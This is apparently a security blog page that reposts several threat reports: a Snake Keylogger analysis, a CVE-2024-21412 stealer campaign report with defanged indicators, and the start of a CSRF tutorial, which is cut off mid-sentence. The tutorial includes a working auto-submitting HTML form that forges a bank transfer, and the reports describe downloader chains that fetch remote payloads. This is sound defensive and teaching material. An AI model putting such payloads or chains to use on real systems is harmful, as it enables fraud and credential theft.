The original name of “sahost.exe” is “utGw.exe.” It decrypts and extracts a module called “FGMaker.dll” from a resource named “siri” in its Resource section. Figure 7 shows some of that code.

Figure 7: Load a module from Resouce “siri”

Figure 7: Load a module from Resouce “siri”

The “FGMaker.dll” module extracts additional modules (such as “Q” and “Gammar.dll”) that work together to extract and decrypt a module called “Tyrone.dll” from the resource “KKki”.

Figure 8: Resource “KKki” is about to load

Figure 8: Resource “KKki” is about to load

You may have noticed in Figure 8 that it loads “KKki” as a Bitmap resource. The module “Tyrone.dll” was encrypted, broken down into bytes, and kept in the Bitmap resource. Figure 9 shows the content of the resource “KKki” as a Bitmap picture.

Figure 9: Bitmap resource “KKki”.

Figure 9: Bitmap resource “KKki”.

After another decryption sequence, we can see the plaintext of the “Tyrone.dll” module in memory. It is then loaded as an executable module by calling the Assembly.Load() method.

Figure 10 showcases the modules that have been extracted and loaded by the Loader module so far.

Figure 10: Relevant modules extracted by the Loader module.

Figure 10: Relevant modules extracted by the Loader module.

Dissecting the Deploy Module

I will refer to “Tyrone.dll” as “Deploy module” in the following analysis. It performs the following functions:

  • Renames the Loader module file.

This checks whether the current process’s full path is “% AppData%WeENKtk.exe,” renames it, and sets attributes (Hidden, ReadOnly, System, etc.) to it if the result is no. On the very first run, it was %AppData%sahost. exe.

  • Ensures Snake Keylogger persistence.

The Deploy module runs the “schetasks.exe” command to create a new scheduled task in the system Task Scheduler. This allows Snake Keylogger to launch at system startup. Figure 11 shows the scheduled task for Snake Keylogger.

Figure 11: Snake Keylogger is added in the system Task Scheduler.

Figure 11: Snake Keylogger is added in the system Task Scheduler.

  • Process hollowing.

The Deploy module obtains a resource data, “I7O14IyvsdO,” from its own Resource section. Then, it decrypts the data with the string key “YRDdITlYRXI” into a final PE file in its memory. This is the core module of Snake Keylogger.

Next, the Deploy module performs process hollowing, a malware technique that creates a new process and then inserts malicious code into it to run. This allows it to hide its original process.

Figure 12: Break on a method calling CreateProcess().

Figure 12: Break on a method calling CreateProcess().

Figure 12 shows that it about to call the obfuscated API CreateProcess(). It has a key argument, “Creation Flag,” indicating how to create the process. Its value has been set to 134217732, i.e. 0x08000004 in hexadecimal. It is defined as “CREATE_SUSPENDED” and “CREATE_NO_WINDOW.” The process name, the first argument to CreateProcess(), is the same as the Loader module.

To complete the process hollowing, it needs to call some relevant Windows APIs, such as ZwUnmapViewOfSection(), VirtualAllocEx(), ReadProcessMemory(), WriteProcessMemory(), GetThreadContext(), SetThreadContext(), and ResumeThread().

Snake Keylogger Core Module and Features

The core module’s original name is “lfwhUWZlmFnGhDYPudAJ.exe.” Figure 13 shows that the attacker has fully obfuscated the entire module, which displays its entry point (“Main()”) and the obfuscated code, class names, and method names.

Figure 13: Obfuscated Snake Keylogger core module.

Figure 13: Obfuscated Snake Keylogger core module.

The Snake Keylogger’s structure is very clear. We can see its capability to collect private and sensitive information from the victim’s device, including the device’s basic information, saved credentials, keystrokes, screenshots, and data on the system clipboard.

The features are split into different methods driven by Timers. Snake Keylogger also has some relevant flag variables indicating whether the feature is enabled.

This variant of Snake Keylogger only enables the credential collection feature.

First, Snake Keylogger fetches the device’s basic information, like the PC name, System time, IP address, Country name, Region name, City name, TimeZone, and so on. Figure 14 shows an example of the basic information collected from one of my testing devices.

Figure 14: Basic information example.

Figure 14: Basic information example.

This Snake Keylogger variant includes several hardcoded IP addresses the attacker may believe are used by some sample automatic analysis systems they want to avoid.

Figure 15: Method to detect victim’s IP address.

Figure 15: Method to detect victim’s IP address.

One method called “anti_bot(),” shown in Figure 15, checks the hardcoded IP addresses. “BotDetected” is returned if the victim’s IP address matches any of those IP addresses. This results in the Snake Keylogger only collecting credentials but never sending them to the attacker.

Credentials Collection

Snake Keylogger collects saved credentials from over 50 popular software programs, categorized as web browsers, email clients, IM clients, and FTP clients.

Figure 16: Method for fetching Google Chrome credentials.

Figure 16: Method for fetching Google Chrome credentials.

Every software has its own profile folder for saving configuration data. Snake Keylogger traverses all the profile files, looking for the saved credentials. Figure 16 is an example of the method used for Google Chrome. As you may have noticed in the “Locals” tab, it just obtained one set of credentials, including “URL,” “Login ID,” and “Login Password.”

All the software can be categorized as follows:

Chromium-based Web Browsers:
“Google Chrome,” “Amigo,” “Xpom,” “Kometa,” “Nichrome,” “CocCoc,” “QQ Browser,” “Orbitum,” “Slimjet,” “Iridium,” “Vivaldi,” “Iron,” “Chromium,” “Ghost Browser,” “Cent Browser,” “xVast,” “Chedot,” “Comodo Dragon,” “SuperBird,” “360 Browser,” “360 Chrome,” “Brave,” “Torch,” “UC Browser,” “Blisk,” “Epic PrivacyBrowser,” “Liebao,” “Avast,” “Kinza,” “BlackHawk,” “Citrio,” “Uran,” “Coowon,” “7Star,” “QIP Surf,” “Sleipnir,” “Chrome Canary,” “ChromePlus,” “Sputnik,” “Microsoft Edge,” and “Slim”.

Mozilla-based Web Browsers:
“SeaMonkey,” “IceDragon,” “CyberFox,” “WaterFox,” “Postbox,” and “PaleMoon”

Other Web Browsers:
“Opera,” “Firefox”.

Email clients:
“FoxMail,” “Thunderbird”.

FTP clients:
“FileZilla”.

IM client:
“Pidgin,” “Discord”.

All the credentials collected from the above software are temporarily stored in a global variable.

Stolen Credentials Submitted Over SMTP

Snake Keylogger variants have several ways to submit harvested credentials to the attacker, including uploading the data onto an FTP server, sending it to an email address, and submitting it over Telegram’s bot over HTTP Post method.  This variant of Snake Keylogger sends data over SMTP.

Figure 17 is a screenshot of how it builds the email content. The upper part contains the code that includes the email’s sender, recipient, subject, and body, while the lower part shows the content of the variable “mailMessage” with the data filled by the code.

Figure 17: Created email message with collected credentials.

Figure 17: Created email message with collected credentials.

The email’s body contains the computer’s basic information saved in a global variable, followed by the credentials stolen from the victim’s computer saved in another global variable. It then creates an SMTP client, and its Send() method is called to send the credentials to the attacker.

Figure 18 shows an example of how the email looks in Microsoft Outlook.

Figure 18: Attacker’s view of the email.

Figure 18: Attacker’s view of the email.

Snake Keylogger Summary

Figure 19 illustrates the entire workflow of the Snake Keylogger campaign.

Figure 19: Snake Keylogger campaign workflow.

Figure 19: Snake Keylogger campaign workflow.

This analysis reviewed the entire process of this Snake Keylogger campaign, which is being led by a phishing email.

The phishing email, which included a malicious Excel document, lured the recipient into opening the file to see the details of a “balance payment.” The Excel document was displayed in different tools, and I explained how it downloads an HTA file by exploiting a known vulnerability.

It then leverages multiple language scripts, such as JavaScript, VBScript, and PowerShell, to download the Snake Keylogger’s Loader module.

Afterward, I elaborated on how the Loader module extracts multiple modules (including several middle modules and the Deploy module) from the file’s Resource section. Malware often uses a process like this to prevent being detected and analyzed.

Next, I introduced how the Snake Keylogger Deploy module establishes persistence on the victim’s computer and conducts process hollowing to put the core module into a newly created process to run.

Finally, we examined how the Snake Keylogger steals sensitive information from the victim’s computer and how the stolen data is sent to the attacker using the SMTP protocol.

Fortinet Protections

Fortinet customers are already protected from this campaign with FortiGuard’s AntiSPAM, Web Filtering, IPS, and AntiVirus services as follows:

The relevant URLs are rated as “Malicious Websites” by the FortiGuard Web Filtering service.

FortiMail recognizes the phishing email as “virus detected.” In addition, real-time anti-phishing provided by FortiSandbox embedded in Fortinet’s FortiMail, web filtering, and antivirus solutions provides advanced protection against both known and unknown phishing attempts.

FortiGuard IPS service detects the vulnerability exploit against CVE-2017-0199 with the signature “MS.Office.OLE.autolink.Code.Execution”.

FortiGuard Antivirus service detects the attached Excel document, 107.hta, the downloaded executable file and the extracted Snake Keylogger with the following AV signatures.

MSExcel/CVE_2017_0199.DDOC!exploit
VBS/SnakeKeylogger.119B!tr.dldr
MSIL/SnakeKeylogger.FQQD!tr
MSIL/SnakeKeylogger.AES!tr.spy

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each solution. As a result, customers who have these products with up-to-date protections are already protected.

The FortiGuard CDR (content disarm and reconstruction) service can disarm the embedded link object inside the Excel document.

To stay informed of new and emerging threats, you can sign up to receive future alerts.

We also suggest our readers go through the free Fortinet Cybersecurity Fundamentals (FCF) training, a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

URLs

hxxp://urlty[.]co/byPCO
hxxp[:]//192.3.176[.]138/xampp/zoom/107.hta
hxxp[:]//192.3.176[.]138/107/sahost.exe

Relevant Sample SHA-256

[swift copy.xls]
8406A1D7A33B3549DD44F551E5A68392F85B5EF9CF8F9F3DB68BD7E02D1EABA7

[107.hta]
6F6A660CE89F6EA5BBE532921DDC4AA17BCD3F2524AA2461D4BE265C9E7328B9

[The Loader module/sahost.exe / WeENKtk.exe / utGw.exe]
484E5A871AD69D6B214A31A3B7F8CFCED71BA7A07E62205A90515F350CC0F723

[Snake Keylogger core module / lfwhUWZlmFnGhDYPudAJ.exe]
207DD751868995754F8C1223C08F28633B47629F78FAAF70A3B931459EE60714

Posted in Exploits, VulnerabilityTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

Exploiting CVE-2024-21412: A Stealer Campaign Unleashed

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Affected Platforms: Microsoft Windows
Impacted Users: Microsoft Windows
Impact: The stolen information can be used for future attack
Severity Level: High

CVE-2024-21412 is a security bypass vulnerability in Microsoft Windows SmartScreen that arises from an error in handling maliciously crafted files. A remote attacker can exploit this flaw to bypass the SmartScreen security warning dialog and deliver malicious files. Over the past year, several attackers, including Water Hydra, Lumma Stealer, and Meduza Stealer, have exploited this vulnerability.

FortiGuard Labs has observed a stealer campaign spreading multiple files that exploit CVE-2024-21412 to download malicious executable files. Initially, attackers lure victims into clicking a crafted link to a URL file designed to download an LNK file. The LNK file then downloads an executable file containing an HTA script. Once executed, the script decodes and decrypts PowerShell code to retrieve the final URLs, decoy PDF files, and a malicious shell code injector. These files aim to inject the final stealer into legitimate processes, initiating malicious activities and sending the stolen data back to a C2 server.

The threat actors have designed different injectors to evade detection and use various PDF files to target specific regions, including North America, Spain, and Thailand. This article elaborates on how these files are constructed and how the injector works.

Telemetry map highlights the United States, Spain, and Thailand

Figure 1: Telemetry

Attack chain diagram. Downloading the LNK file from the web downloads the EXE file, which embeds HTA code in overlay and drops the decoy PDF and SC injector. This branches off into two attack patterns: first, an image file is downloaded from the site imghippo that injects shell code that downloads HijackLoader, which is used to download ACR stealer and Lumma stealer. In the second branch, the SC injector injects shell code to download the Meduza stealer.

Figure 2: Attack chain

Initial Access

To start, the attacker constructs a malicious link to a remote server to search for a URL file with the following content: 

Constructing malicious link to a remote server to search for a URL file
Constructing malicious link to a remote server to search for a URL file

Figure 3: URL files

The target LNK file employs the “forfiles” command to invoke PowerShell, then executes “mshta” to fetch an execution file from the remote server “hxxps://21centuryart.com.” 

the LNK file

Figure 4: LNK file

During our investigation, we collected several LNK files that all download similar executables containing an HTA script embedded within the overlay. This HTA script has set WINDOWSTATE=”minimize” and SHOWTASKBAR=”no.” It plays a crucial role in the infection chain by executing additional malicious code and seamlessly facilitating the next stages of the attack.

the HTA script

Figure 5: HTA script in overlay

After decoding and decrypting the script, a PowerShell code downloads two files to the “%AppData%” folder. The first is a decoy PDF, a clean file that extracts the victim’s attention from malicious activity, and the other is an execution file that injects shell code for the next stage.

The decoded and decrypted script
Decoded and decrypted script. This final step downloads the decoy PDF and the EXE file

Figure 1: Telemetry

Examples of decoy PDF files, such as Medicare enrollment forms and US Department of Transportation certificates

Figure 7: Decoy PDF files

Shell Code Injector

In this attack chain, we identified two types of injectors. The first leverages an image file to obtain a shell code. As of mid-July, it had low detection rates on VirusTotal.

First variant of shell code injector on VirusTotal. The community score is 1 out of 74
Second variant of shell code injector on VirusTotal. The community score is 1 out of 72

Figure 8: Shell code injector on VirusTotal

After anti-debugging checking, it starts downloading a JPG file from the Imghippo website, “hxxps://i.imghippo[.]com/files/0hVAM1719847927[.]png.” It then uses the Windows API “GdipBitmapGetPixel” to access the pixels and decode the bytes to get the shell code.

Shell code injector downloads a png file from imghippo

Figure 9: Getting the PNG file

It then calls “dword ptr ss:[ebp-F4]” to the entry point of the shell code. The shell code first obtains all the APIs from a CRC32 hash, creates a folder, and drops files in “%TEMP%.” We can tell that these dropped files are HijackLoader based on the typical bytes “\x49\x44\x 41\x54\xC6\xA5\x79\xEA” found in the encrypted data.

Call shell code's entry point

Figure 10: Call shell code’s entry point

CRC32 hashes for Windows APIs

Figure 11: CRC32 hashes for Windows APIs

Dropping files in the temp folder

Figure 12: Dropping files in the temp folder

Dropped HijackLoader files

Figure 13: Dropped HijackLoader files

The other injector is more straightforward. It decrypts its code from the data section and uses a series of Windows API functions—NtCreateSection, NtMapViewOfSection, NtUnmapViewOfSection, NtMapViewOfSection again, and NtProtectVirtualMemory—to perform shell code injection.

Assembly code for calling shell code

Figure 14: Assembly code for calling shell code

Final Stealers

This attack uses Meduza Stealer version 2.9 and the panel found at hxxp://5[.]42[.]107[.]78/auth/login.

Meduza Stealer's panel

Figure 15: Meduza Stealer’s panel

We also identified an ACR stealer loaded from HijackLoader. This ACR stealer hides its C2 with a dead drop resolver (DDR) technique on the Steam community website, hxxps://steamcommunity[.]com/profiles/76561199679420718. 

Base64 encoded C2 on Steam community site

Figure 16: Base64 encoded C2 on Steam

We also found the C2 for other ACR Stealers on Steam by searching for the specific string, “t6t”. 

Other ACR Stealer’s C2 server information on Steam. All contain the string "t6t"

Figure 17: Other ACR Stealer’s C2 server information on Steam

After retrieving the C2 hostname, the ACR stealer appends specific strings to construct a complete URL, “hxxps://pcvcf[.]xyz/ujs/a4347708-adfb-411c-8f57-c2c166fcbe1d”. This URL then fetches the encoded configuration from the remote server. The configuration data typically contains crucial information, such as target specifics and operational parameters for the stealer. By decoding the C2 from Steam, the stealer can adapt legitimate web services to maintain communications with its C2 server.

Decoded ACR Stealer's configuration

Figure 18: Decoded ACR Stealer’s configuration

Except for local text files in paths “Documents” and “Recent, “ ACR Stealer has the following target applications:

  • Browser: Google Chrome, Google Chrome SxS, Google Chrome Beta, Google Chrome Dev, Google Chrome Unstable, Google Chrome Canary, Epic Privacy Browser, Vivaldi, 360Browser Browser, CocCoc Browser, K-Melon, Orbitum, Torch, CentBrowser, Chromium, Chedot, Kometa, Uran, liebao, QIP Surf, Nichrome, Chromodo, Coowon, CatalinaGroup Citrio, uCozMedia Uran, Elements Browser, MapleStudio ChromePlus, Maxthon3, Amigo, Brave-Browser, Microsoft Edge, Opera Stable, Opera GX Stable, Opera Neon, Mozilla Firefox, BlackHawk, and TorBro.
  • CryptoWallet: Bitcoin, Binance, Electrum, Electrum-LTC, Ethereum, Exodus, Anoncoin, BBQCoin, devcoin, digitalcoin, Florincoin, Franko, Freicoin, GoldCoin (GLD), GInfinitecoin, IOCoin, Ixcoin, Litecoin, Megacoin, Mincoin, Namecoin, Primecoin, Terracoin, YACoin, Dogecoin, ElectronCash, MultiDoge, com.liberty.jaxx, atomic, Daedalus Mainnet, Coinomi, Ledger Live, Authy Desktop, Armory, DashCore, Zcash, Guarda, WalletWasabi, and Monero.
  • Messenger: Telegram, Pidgin, Signal, Tox, Psi, Psi+, and WhatsApp.
  • FTP Client: FileZilla, GoFTP, UltraFXP, NetDrive, FTP Now, DeluxeFTP, FTPGetter, Steed, Estsoft ALFTP, BitKinex, Notepad++ plugins NppFTP, FTPBox, INSoftware NovaFTP, and BlazeFtp.
  • Email Clients: Mailbird, eM Client, The Bat!, PMAIL, Opera Mail, yMail2, TrulyMail, Pocomail, and Thunderbird.
  • VPN Service: NordVPN and AzireVPN.
  • Password Manager: Bitwarden, NordPass, 1Password, and RoboForm.
  • Other: AnyDesk, MySQL Workbench, GHISLER, Sticky Notes, Notezilla , To-Do DeskList, snowflake-ssh, and GmailNotifierPro.
  • The following Chrome Extensions:
nphplpgoakhhjchkkhmiggakijnkhfndapbldaphppcdfbdnnogdikheafliigcf
fldfpgipfncgndfolcbkdeeknbbbnhccckdjpkejmlgmanmmdfeimelghmdfeobe
omaabbefbmiijedngplfjmnooppbclkkiodngkohgeogpicpibpnaofoeifknfdo
afbcbjpbpfadlkmhmclhkeeodmamcflchnefghmjgbmpkjjfhefnenfnejdjneog
lodccjjbdhfakaekdiahmedfbieldgikfpcamiejgfmmhnhbcafmnefbijblinff
hcflpincpppdclinealmandijcmnkbgnegdddjbjlcjckiejbbaneobkpgnmpknp
bcopgchhojmggmffilplmbdicgaihlkpnihlebdlccjjdejgocpogfpheakkpodb
fhmfendgdocmcbmfikdcogofphimnknoilbibkgkmlkhgnpgflcjdfefbkpehoom
kpfopkelmapcoipemfendmdcghnegimnoiaanamcepbccmdfckijjolhlkfocbgj
fhbohimaelbohpjbbldcngcnapndodjpldpmmllpgnfdjkmhcficcifgoeopnodc
cnmamaachppnkjgnildpdmkaakejnhaembcafoimmibpjgdjboacfhkijdkmjocd
nlbmnnijcnlegkjjpcfjclmcfggfefdmjbdpelninpfbopdfbppfopcmoepikkgk
amkmjjmmflddogmhpjloimipbofnfjihonapnnfmpjmbmdcipllnjmjdjfonfjdm
cphhlgmgameodnhkjdmkpanlelnlohaocfdldlejlcgbgollnbonjgladpgeogab
kncchdigobghenbbaddojjnnaogfppfjablbagjepecncofimgjmdpnhnfjiecfm
jojhfeoedkpkglbfimdfabpdfjaoolaffdfigkbdjmhpdgffnbdbicdmimfikfig
ffnbelfdoeiohenkjibnmadjiehjhajbnjojblnpemjkgkchnpbfllpofaphbokk
pdgbckgdncnhihllonhnjbdoighgpimkhjagdglgahihloifacmhaigjnkobnnih
ookjlbkiijinhpmnjffcofjonbfbgaocpnlccmojcmeohlpggmfnbbiapkmbliob
mnfifefkajgofkcjkemidiaecocnkjehljfpcifpgbbchoddpjefaipoiigpdmag
flpiciilemghbmfalicajoolhkkenfelbhghoamapcdpbohphigoooaddinpkbai
jfdlamikmbghhapbgfoogdffldioobglgaedmjdfmmahhbjefcbgaolhhanlaolb
nkbihfbeogaeaoehlefnkodbefgpgknnimloifkgjagghnncjkhggdhalmcnfklk
aiifbnbfobpmeekipheeijimdpnlpgppoeljdldpnmdbchonielidgobddffflal
aeachknmefphepccionboohckonoeemgilgcnhelpchnceeipipijaljkblbcobl
hpglfhgfnhbgpjdenjgmdgoeiappaflnnngceckbapebfimnlniiiahkandclblb
nknhiehlklippafakaeklbeglecifhadoboonakemofpalcgghocfoadofidjkkk
dmkamcknogkgcdfhhbddcghachkejeapfdjamakpfbbddfjaooikfcpapjohcfmg
jnmbobjmhlngoefaiojfljckilhhlhcjfooolghllnmhmmndgjiamiiodkpenpbb
klnaejjgbibmhlephnhpmaofohgkpgkdbfogiafebfohielmmehodmfbbebbbpei
ibnejdfjmmkpcnlpebklmnkoeoihofeclfochlioelphaglamdcakfjemolpichk
ejbalbakoplchlghecdalmeeeajnimhmhdokiejnpimakedhajhdlcegeplioahd
kjmoohlgokccodicjjfebfomlbljgfhknaepdomgkenhinolocfifgehidddafch
fnjhmkhhmkbjkkabndcnnogagogbneecbmikpgodpkclnkgmnpphehdgcimmided
nhnkbkgjikgcigadomkphalanndcapjknofkfblpeailgignhkbnapbephdnmbmn
hnfanknocfeofbddgcijnmhnfnkdnaadjhfjfclepacoldmjmkmdlmganfaalklb
cihmoadaighcejopammfbmddcmdekcjechgfefjpcobfbnpmiokfjjaglahmnded
bfnaelmomeimhlpmgjnjophhpkkoljpaigkpcodhieompeloncfnbekccinhapdb
djclckkglechooblngghdinmeemkbgcicfhdojbkjhnklbpkdaibdccddilifddb
jiidiaalihmmhddjgbnbgdfflelocpakkmmkllgcgpldbblpnhghdojehhfafhro
lgmpcpglpngdoalbgeoldeajfclnhafaibegklajigjlbljkhfpenpfoadebkokl
egjidjbpglichdcondbcbdnbeeppgdphijpdbdidkomoophdnnnfoancpbbmpfcn
flhbololhdbnkpnnocoifnopcapiekdillalnijpibhkmpdamakhgmcagghgmjab
kkhmbjifakpikpapdiaepgkdephjgnmamjdmgoiobnbombmnbbdllfncjcmopfnc
ekkhlihjnlmjenikbgmhgjkknoelfpeddlcobpjiigpikoobohmabehhmhfoodbb
jngbikilcgcnfdbmnmnmnleeomffcimljnlgamecbpmbajjfhmmmlhejkemejdma
hcjginnbdlkdnnahogchmeidnmfckjomkbdcddcmgoplfockflacnnefaehaiocb
ogphgbfmhodmnmpnaadpbdadldbnmjjikgdijkcfiglijhaglibaidbipiejjfdp
hhmkpbimapjpajpicehcnmhdgagpfmjcepapihdplajcdnnkdeiahlgigofloibg
ojhpaddibjnpiefjkbhkfiaedepjhecamgffkfbidihjpoaomajlbgchddlicgpn
fmhjnpmdlhokfidldlglfhkkfhjdmhglebfidpplhabeedpnhjnobghokpiioolj
gjhohodkpobnogbepojmopnaninookhjdngmlblcodfobpdpecaadgfbcggfjfnm
hmglflngjlhgibbmcedpdabjmcmboamoldinpeekobnhjjdofggfgjlcehhmanlj
eklfjjkfpbnioclagjlmklgkcfmgmbpgmdjmfdffdcmnoblignmgpommbefadffd
jbkfoedolllekgbhcbcoahefnbanhhlhaflkmfhebedbjioipglgcbcmnbpgliof
mcohilncbfahbmgdjkbpemcciiolgcgedmjmllblpcbmniokccdoaiahcdajdjof
jbdaocneiiinmjbjlgalhcelgbejmnidlnnnmfcpbkafcpgdilckhmhbkkbpkmid
blnieiiffboillknjnepogjhkgnoapacodpnjmimokcmjgojhnhfcnalnegdjmdn
cjelfplplebdjjenllpjcblmjkfcffnebopcbmipnjdcdfflfgjdgdjejmgpoaab
fihkakfobkmkjojpchpfgcmhfjnmnfpicpmkedoipcpimgecpmgpldfpohjplkpp
kkpllkodjeloidieedojogacfhpaihohkhpkpbbcccdmmclmpigdgddabeilkdpd
nanjmdknhkinifnkgdcggcfnhdaammmjmcbigmjiafegjnnogedioegffbooigli
nkddgncdjgjfcddamfgcmfnlhccnimigfiikommddbeccaoicoejoniammnalkfa
acmacodkjbdgmoleebolmdjonilkdbchheefohaffomkkkphnlpohglngmbcclhi
phkbamefinggmakgklpkljjmgibohnbaocjdpmoallmgmjbbogfiiaofphbjgchh
efbglgofoippbgcjepnhiblaibcnclgkhmeobnfnfcmdkdcmlblgagmfpfboieaf
lpfcbjknijpeeillifnkikgncikgfhdokfdniefadaanbjodldohaedphafoffoh
ejjladinnckdgjemekebdpeokbikhfcikmhcihpebfmpgmihbkipmjlmmioameka
opcgpfmipidbgpenhmajoajpbobppdilgafhhkghbfjjkeiendhlofajokpaflmk
aholpfdialjgjfhomihkjbmgjidlcdnokglcipoddmbniebnibibkghfijekllbl
onhogfjeacnfoofkfgppdlbmlmnplgbniokeahhehimjnekafflcihljlcjccdbe
mopnmbcafieddcagagdcbnhejhlodfddidnnbdplmphpflfnlkomgpfbpcgelopg
fijngjgcjhjmmpcmkeiomlglpeiijkldkmphdnilpmdejikjdnlbcnmnabepfgkh
hifafgmccdpekplomjjkcfgodnhcelljcgeeodpfagjceefieflmdfphplkenlfk
ijmpgkjfkbfhoebgogflfebnmejmfbmpdadjkfkgcafgbceimcpbkalnfnepbnk
lkcjlnjfpbikmcmbachjpdbijejflpcmodbfpeeihdkbihmopkbjmoonfanlbfcl
onofpnbbkehpmmoabgpcpmigafmmnjhfhilaheimglignddkjgofkcbgekhenbh
dkdedlpgdmmkkfjabffeganieamfklkmaodkkagnadcbobfpggfnjeongemjbjca
nlgbhdfgdhgbiamfdfmbikcdghidoadddngmlblcodfobpdpecaadgfbcggfjfnm
infeboajgfhgbjpjbeppbkgnabfdkdaflpilbniiabackdjcionkobglmddfbcjo
ppbibelpcjmhbdihakflkdcoccbgbkpobhhhlbepdkbapadjdnnojkbgioiodbic
klghhnkeealcohjjanjjdaeeggmfmlpljnkelfanjkeadonecabehalmbgpfodjm
enabgbdfcbaehmbigakijjabdpdnimlgjgaaimajipbpdogpdglhaphldakikgef
mmmjbcfofconkannjonfmjjajpllddbgkppfdiipphfccemcignhifpjkapfbihd
bifidjkcdpgfnlbcjpdkdcnbiooooblgloinekcabhlmhjjbocijdoimmejangoa
nebnhfamliijlghikdgcigoebonmoibmanokgmphncpekkhclmingpimjmcooifb
fcfcfllfndlomdhbehjjcoimbgofdncgcnncmdhjacpkmjmkcafchppbnpnhdmon
ojggmchlghnjlapmfbnjholfjkiidbchmkpegjkblkkefacfnmkajcjmabijhclg

Conclusion

This campaign primarily targets CVE-2024-21412 to spread LNK files for downloading execution files that embed HTA script code within their overlays. The HTA script runs silently, avoiding any pop-up windows, and clandestinely downloads two files: a decoy PDF and an execution file designed to inject shell code, setting the stage for the final stealers.

To mitigate such threats, organizations must educate their users about the dangers of downloading and running files from unverified sources. Continuous innovation by threat actors necessitates a robust and proactive cybersecurity strategy to protect against sophisticated attack vectors. Proactive measures, user awareness, and stringent security protocols are vital components in safeguarding an organization’s digital assets.

Fortinet Protections

The malware described in this report is detected and blocked by FortiGuard Antivirus:

LNK/Agent.OQ!tr
LNK/Agent.BNE!tr
LNK/Agent.ACX!tr
W32/Agent.DAT!tr
W64/Agent.EDE6!tr
W32/Agent.AAN!tr
W64/Agent.A8D2!tr

FortiGate, FortiMail, FortiClient, and FortiEDR support the FortiGuard AntiVirus service. The FortiGuard AntiVirus engine is part of each of these solutions. As a result, customers who have these products with up-to-date protections are protected.

The FortiGuard Web Filtering Service blocks the C2 servers and downloads URLs.

FortiGuard Labs provides IPS signature against attacks exploiting CVE-2024-21412:

MS.Windows.SmartScreen.CVE-2024-21412.Security.Feature.Bypass

We also suggest that organizations go through Fortinet’s free NSE training module: NSE 1 – Information Security Awareness. This module is designed to help end users learn how to identify and protect themselves from phishing attacks.

FortiGuard IP Reputation and Anti-Botnet Security Service proactively block these attacks by aggregating malicious source IP data from the Fortinet distributed network of threat sensors, CERTs, MITRE, cooperative competitors, and other global sources that collaborate to provide up-to-date threat intelligence about hostile sources.

If you believe this or any other cybersecurity threat has impacted your organization, please contact our Global FortiGuard Incident Response Team.

IOCs

IP Addresses

62[.]133[.]61[.]26

62[.]133[.]61[.]43

5[.]42[.]107[.]78

Hostnames

21centuryart[.]com

scratchedcards[.]com

proffyrobharborye[.]xyz

answerrsdo[.]shop

pcvcf[.]xyz

pcvvf[.]xyz

pdddk[.]xyz

pdddj[.]xyz

pddbj[.]xyz

pbpbj[.]xyz

pbdbj[.]xyz

ptdrf[.]xyz

pqdrf[.]xyz

Files

e15b200048fdddaedb24a84e99d6d7b950be020692c02b46902bf5af8fb50949

547b6e08b0142b4f8d024bac78eb1ff399198a8d8505ce365b352e181fc4a544

bd823f525c128149d70f633e524a06a0c5dc1ca14dd56ca7d2a8404e5a573078

982338768465b79cc8acd873a1be2793fccbaa4f28933bcdf56b1d8aa6919b47

bc6933a8fc324b907e6cf3ded3f76adc27a6ad2445b4f5db1723ac3ec86ed10d

59d2c2ca389ab1ba1fefa4a06b14ae18a8f5b70644158d5ec4fb7a7eac4c0a08

8568226767ac2748eccc7b9832fac33e8aa6bfdc03eafa6a34fb5d81e5992497

4043aa37b5ba577dd99f6ca35c644246094f4f579415652895e6750fb9823bd9

0604e7f0b4f7790053991c33359ad427c9bf74c62bec3e2d16984956d0fb9c19

8c6d355a987bb09307e0af6ac8c3373c1c4cbfbceeeb1159a96a75f19230ede6

de6960d51247844587a21cc0685276f966747e324eb444e6e975b0791556f34f

6c779e427b8d861896eacdeb812f9f388ebd43f587c84a243c7dab9ef65d151c

08c75c6a9582d49ea3fe780509b6f0c9371cfcd0be130bc561fae658b055a671

abc54ff9f6823359071d755b151233c08bc2ed1996148ac61cfb99c7e8392bfe

643dde3f461907a94f145b3cd8fe37dbad63aec85a4e5ed759fe843b9214a8d2

Posted in Exploits, ProgrammingTagged Cyber Attacks, Data Security, Encryption, malware, Programming, Ransomware, Reverse Engineering, Spyware, vulnerabilityLeave a comment

CSRF simplified: A no-nonsense guide to Cross-Site Request Forgery

Posted on August 31, 2024 - August 31, 2024 by Maq Verma

Cross-Site Request Forgery (CSRF) is a serious web security vulnerability that allows attackers to exploit active sessions of targeted users to perform privileged actions on their behalf. Depending on the relevancy of the action and the permissions of the targeted user, a successful CSRF attack may result in anything from minor integrity impacts to a complete compromise of the application.

CSRF attacks can be delivered in various ways, and there are multiple defenses against them. At the same time, there are also many misconceptions surrounding this type of attack. Despite being a well-known vulnerability, there’s a growing tendency to rely too heavily on automated solutions and privacy-enhancing defaults in modern browsers to detect and prevent this issue. While these methods can mitigate exploitation in some cases, they can foster a false sense of security and don’t always fully address the problem.

It’s time to shatter the uncertainties surrounding CSRF once and for all. We’ll outline its fundamentals, attack methods, defense strategies, and common misconceptions – all with accompanied examples.

Cross-Site Request Forgery simplified

CSRF allows adversary-issued actions to be performed by an authenticated victim. A common example, given no implemented controls, involves you being logged into your bank account and then visiting an attacker-controlled website. Without your knowledge, this website submits a request to transfer funds from your account to the attacker’s using a hidden form.

Because you’re logged in on the bank application, the request is authenticated. This happens because the attacker crafted a request that appeared to originate from your browser, which automatically included your authentication credentials.

Assume that the simplified request below is sent when a fund transfer is made to an intended recipient:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token>
[...]

amount=100&toUser=intended

To forge this request, an attacker would host the following HTML on their page:

<html>
    <body>
        <form action="vulnerable bank/transfer" method="POST">
            <input type="hidden" name="amount" value="5000"/>
            <input type="hidden" name="toUser" value="attacker"/>
        </form>
        <script>
            document.forms[0].submit();
        </script>
    </body>
</html>

This creates a hidden form on the attacker’s page. When visited by an authenticated victim, it triggers the victim’s browser to issue the request below with their session cookie, resulting in an unintended transfer to the attacker’s account:

POST /transfer HTTP/1.1
Host: vulnerable bank
Content-Type: application/x-www-form-urlencoded
Cookie: session=<token> (automatically included by the browser)
[...]

amount=5000&toUser=attacker

For this scenario to be possible, two conditions must be met:

